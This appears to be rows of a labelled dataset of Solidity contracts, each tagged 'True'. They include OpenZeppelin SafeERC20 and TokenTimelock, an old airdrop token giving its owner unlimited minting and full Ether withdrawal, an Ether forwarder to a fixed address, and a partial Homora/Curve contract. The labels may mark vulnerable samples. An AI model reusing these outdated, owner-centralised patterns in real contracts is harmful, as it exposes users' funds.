* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time");
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
_token.safeTransfer(_beneficiary, amount);
}
}
|
True
|
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] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
*/
library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HitexExchangeToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Hitex Exchange Token";
string public constant symbol = "HITEX";
uint public constant decimals = 8;
uint256 public totalSupply = 10000000000e8;
uint256 public totalDistributed = 0;
uint256 public tokensPerEth = 30000000e8;
uint256 public constant minContribution = 1 ether / 100; // 0.01 Eth
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= minContribution );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
True
|
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pragma solidity 0.4.25;
/**
* Contract that will forward any incoming Ether to the address specified upon deployment
*/
contract Forwarder {
/** Address to which any funds sent to this contract will be forwarded
* Event logs to log movement of Ether
**/
address constant public destinationAddress = 0x609E7e5Db94b3F47a359955a4c823538A5891D48;
event LogForwarded(address indexed sender, uint amount);
/**
* Default function; Gets called when Ether is deposited, and forwards it to the destination address
*/
function() payable public {
emit LogForwarded(msg.sender, msg.value);
destinationAddress.transfer(msg.value);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Part: IBank
interface IBank {
/// The governor adds a new bank gets added to the system.
event AddBank(address token, address cToken);
/// The governor sets the address of the oracle smart contract.
event SetOracle(address oracle);
/// The governor sets the basis point fee of the bank.
event SetFeeBps(uint feeBps);
/// The governor withdraw tokens from the reserve of a bank.
event WithdrawReserve(address user, address token, uint amount);
/// Someone borrows tokens from a bank via a spell caller.
event Borrow(uint positionId, address caller, address token, uint amount, uint share);
/// Someone repays tokens to a bank via a spell caller.
event Repay(uint positionId, address caller, address token, uint amount, uint share);
/// Someone puts tokens as collateral via a spell caller.
event PutCollateral(uint positionId, address caller, address token, uint id, uint amount);
/// Someone takes tokens from collateral via a spell caller.
event TakeCollateral(uint positionId, address caller, address token, uint id, uint amount);
/// Someone calls liquidatation on a position, paying debt and taking collateral tokens.
event Liquidate(
uint positionId,
address liquidator,
address debtToken,
uint amount,
uint share,
uint bounty
);
/// @dev Return the current position while under execution.
function POSITION_ID() external view returns (uint);
/// @dev Return the current target while under execution.
function SPELL() external view returns (address);
/// @dev Return the current executor (the owner of the current position).
function EXECUTOR() external view returns (address);
/// @dev Return bank information for the given token.
function getBankInfo(address token)
external
view
returns (
bool isListed,
address cToken,
uint reserve,
uint totalDebt,
uint totalShare
);
/// @dev Return position information for the given position id.
function getPositionInfo(uint positionId)
external
view
returns (
address owner,
address collToken,
uint collId,
uint collateralSize
);
/// @dev Return the borrow balance for given positon and token without trigger interest accrual.
function borrowBalanceStored(uint positionId, address token) external view returns (uint);
/// @dev Trigger interest accrual and return the current borrow balance.
function borrowBalanceCurrent(uint positionId, address token) external returns (uint);
/// @dev Borrow tokens from the bank.
function borrow(address token, uint amount) external;
/// @dev Repays tokens to the bank.
function repay(address token, uint amountCall) external;
/// @dev Transmit user assets to the spell.
function transmit(address token, uint amount) external;
/// @dev Put more collateral for users.
function putCollateral(
address collToken,
uint collId,
uint amountCall
) external;
/// @dev Take some collateral back.
function takeCollateral(
address collToken,
uint collId,
uint amount
) external;
/// @dev Liquidate a position.
function liquidate(
uint positionId,
address debtToken,
uint amountCall
) external;
function getBorrowETHValue(uint positionId) external view returns (uint);
function accrue(address token) external;
function nextPositionId() external view returns (uint);
/// @dev Return current position information.
function getCurrentPositionInfo()
external
view
returns (
address owner,
address collToken,
uint collId,
uint collateralSize
);
function support(address token) external view returns (bool);
}
// Part: ICurvePool
interface ICurvePool {
function add_liquidity(uint[2] calldata, uint) external;
function add_liquidity(uint[3] calldata, uint) external;
function add_liquidity(uint[4] calldata, uint) external;
function remove_liquidity(uint, uint[2] calldata) external;
function remove_liquidity(uint, uint[3] calldata) external;
function remove_liquidity(uint, uint[4] calldata) external;
function remove_liquidity_imbalance(uint[2] calldata, uint) external;
function remove_liquidity_imbalance(uint[3] calldata, uint) external;
function remove_liquidity_imbalance(uint[4] calldata, uint) external;
function remove_liquidity_one_coin(
uint,
int128,
uint
) external;
function get_virtual_price() external view returns (uint);
}
// Part: ICurveRegistry
interface ICurveRegistry {
function get_n_coins(address lp) external view returns (uint, uint);
function pool_list(uint id) external view returns (address);
function get_coins(address pool) external view returns (address[8] memory);
function get_gauges(address pool) external view returns (address[10] memory, uint128[10] memory);
function get_lp_token(address pool) external view returns (address);
function get_pool_from_lp_token(address lp) external view returns (address);
}
// Part: IERC20Wrapper
interface IERC20Wrapper {
/// @dev Return the underlying ERC-20 for the given ERC-1155 token id.
function getUnderlyingToken(uint id) external view returns (address);
/// @dev Return the conversion rate from ERC-1155 to ERC-20, multiplied by 2**112.
function getUnderlyingRate(uint id) external view returns (uint);
}
// Part: IWETH
interface IWETH {
function balanceOf(address user) external returns (uint);
function approve(address to, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function deposit() external payable;
function withdraw(uint) external;
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: HomoraMath
library HomoraMath {
using SafeMath for uint;
function divCeil(uint lhs, uint rhs) internal pure returns (uint) {
return lhs.add(rhs).sub(1) / rhs;
}
function fmul(uint lhs, uint rhs) internal pure returns (uint) {
return lhs.mul(rhs) / (2**112);
}
function fdiv(uint lhs, uint rhs) internal pure returns (uint) {
return lhs.mul(2**112) / rhs;
}
// implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0
// original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint x) internal pure returns (uint) {
if (x == 0) return 0;
uint xx = x;
uint r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint r1 = x / r;
return (r < r1 ? r : r1);
}
}
// Part: OpenZeppelin/[email protected]/ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// Part: OpenZeppelin/[email protected]/IERC1155
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
